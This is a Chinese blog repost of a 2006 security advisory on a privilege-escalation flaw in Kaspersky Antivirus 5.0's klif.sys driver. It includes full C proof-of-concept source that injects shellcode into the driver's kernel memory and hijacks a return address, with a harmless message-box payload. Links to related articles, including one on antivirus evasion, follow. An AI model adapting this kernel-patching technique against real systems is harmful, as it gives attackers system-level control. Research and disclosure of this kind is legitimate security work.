Kaspersky杀毒软件klif.sys权限提升漏洞

原创 2006年06月02日 09:24:00
受影响系统:
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述:
--------------------------------------------------------------------------------


Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源:Ilya Rabinovich (info@softsphere.com
  
  链接:http://marc.theaimsgroup.com/?l= ... 17777430401&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00,    //push 0x200
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address> - 0xBE938000
                    0x6A,0x00,                    //push 0  
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<GetModuleFileNameA> -> +13
                    0xFF,0xD0,                    //call eax
                    0x68,0x00,0x80,0x93,0xBE,    //push <buffer address>
                    0x68,0x00,0x82,0x93,0xBE,    //push <address of the notepad path>- 0xBE938200
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<lstrcmpiA> -> +30
                    0xFF,0xD0,                    //call eax
                    0x85,0xC0,                    //test eax,eax
                    0x74,0x03,                    //je +03
                    0xC2,0x04,0x00,                //retn 4
                    0x6A,0x00,                    //push 0
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x68,0x00,0x84,0x93,0xBE,    //push <address of the message string>- 0xBE938400
                    0x6A,0x00,                    //push 0
                    0xB8,0x00,0x00,0x00,0x00,    //mov eax,<MessageBoxA> -> +58
                    0xFF,0xD0,                    //call eax
                    0xC2,0x04,0x00                //retn 4
                    };

unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt /
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

    HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
    HANDLE hUser=GetModuleHandle("USER32.DLL");

    FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
    FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

    FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

    *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
    *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
    *(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

    PCHAR pNotepadName=(PCHAR)0xBE938200;

    char temp_buffer[MAX_PATH];
    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    lstrcpy(pNotepadName,temp_buffer);

    PCHAR pMessage=(PCHAR)0xBE938400;

    lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

    memmove(pCodeBase,code,sizeof(code));

    *pJmpAddress=(DWORD)pCodeBase;

    memmove(pKAVRet,jmp_code,sizeof(jmp_code));

    return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

    UCHAR retn_4[]={0xC2,0x04,0x00};

    memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

    UCHAR retn_4[]={0xC2,0x04,0x00};

    __try{

        for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

            if(memcmp(pKAVRets,retn_4,sizeof(retn_4))==0)
                return pKAVRets;

        }

    }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not /
installed",NULL,0);return NULL;}


    MessageBox(NULL,"Wrong KAV Version. You need 5.0.227, 5.0.228 or 5.0.335 versions of /
KAV",NULL,0);  return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

    pKAVRet=GetKAVRetAddress();

    if(NULL==pKAVRet)
        return;


    if(!LoadExploitIntoKernelMemory())
        return;

    char temp_buffer[MAX_PATH];
    char *s;

    SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

    PROCESS_INFORMATION pi;

    STARTUPINFO si={0};
    si.cb=sizeof(si);

    CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
                        0,NULL,NULL,&si,&pi);

    WaitForSingleObject(pi.hProcess,INFINITE);

    MessageBox(NULL,"Now you may start your own Notepad instance to check this /
exploit!","KAV_EXPLOITER",0);

    MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

    UnloadExploitFromKernelMemory();
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Kaspersky Labs
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kaspersky.com/
版权声明:本文为博主原创文章,未经博主允许不得转载。

Linux 杀毒软件发现的漏洞可使得黑客获得 root 权限

导读 McAfee VirusScan Enterprise for Linux 版本中的远程代码执行缺陷,使黑客可以获得 root 权限,安全研究人员称只需欺骗该 app 使用恶意更新服务器即可实...

发现杀毒软件安全漏洞

  • 2014年08月15日 14:58
  • 3.19MB
  • 下载

杀毒软件的查杀病毒的原理以及木马、病毒的免杀伎俩(论杀或者不杀 )

杀毒软件的查杀病毒的原理以及木马、病毒的免杀伎俩(论杀或者不杀 ) 无意中在网上看到的,描述通俗易懂,基本全是基础知识,权当了解吧。 =============...

linux clamav杀毒软件的安装

一、概述         Linux比其它操作系统更稳定更安全。理论上Linux是有可能被病毒侵害的。但实际上 Linux机器几乎不可能遭受病毒的攻击。所以我这里的问题是为什么要为Linux准备...

老爸的杀毒软件,女儿的Mac也可安装

作者:Richard Medugno 我使用 iPhone 4S 到现在已经快一年了,我们的关系就跟每个现代人一样复杂:既爱又恨。好吧,别担心,我不会在这里泄露我跟 Siri 之间的亲密对话,...
  • iqushi
  • iqushi
  • 2012年12月20日 11:42
  • 512

Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结     1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产...
  • attilax
  • attilax
  • 2016年03月08日 16:27
  • 1269

什么样的杀毒软件适合你?

对于普通用户来说,选一款适合自己的杀毒软件需要从下面三个方面来考虑:  1、本地化程度(包括官方汉化、中文系统整合程度、本地病毒查杀能力);  2、病毒库(包括大小和更新速度);  3、对非病毒库...

2011年世界著名的杀毒软件排名是怎样的?

2011年世界著名的杀毒软件排名是怎样的? 2011-3-26 16:45 提问者:柳楦梓 | 浏览次数:8656次 2011-3-26 20:02...
  • junecau
  • junecau
  • 2011年11月06日 20:21
  • 4078

POS机发现新恶意程序 能逃过55个杀毒软件

虽然手机支付逐渐普及,但是基于信用卡和银行卡的POS设备,仍然是主流的支付设备,POS机也成为黑客攻击目标。根据美国科技新闻网站PCWorld最新报道,安全专家最近发现了针对POS的一种新型恶意程序,...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Kaspersky杀毒软件klif.sys权限提升漏洞
举报原因:
原因补充:

(最多只允许输入30个字)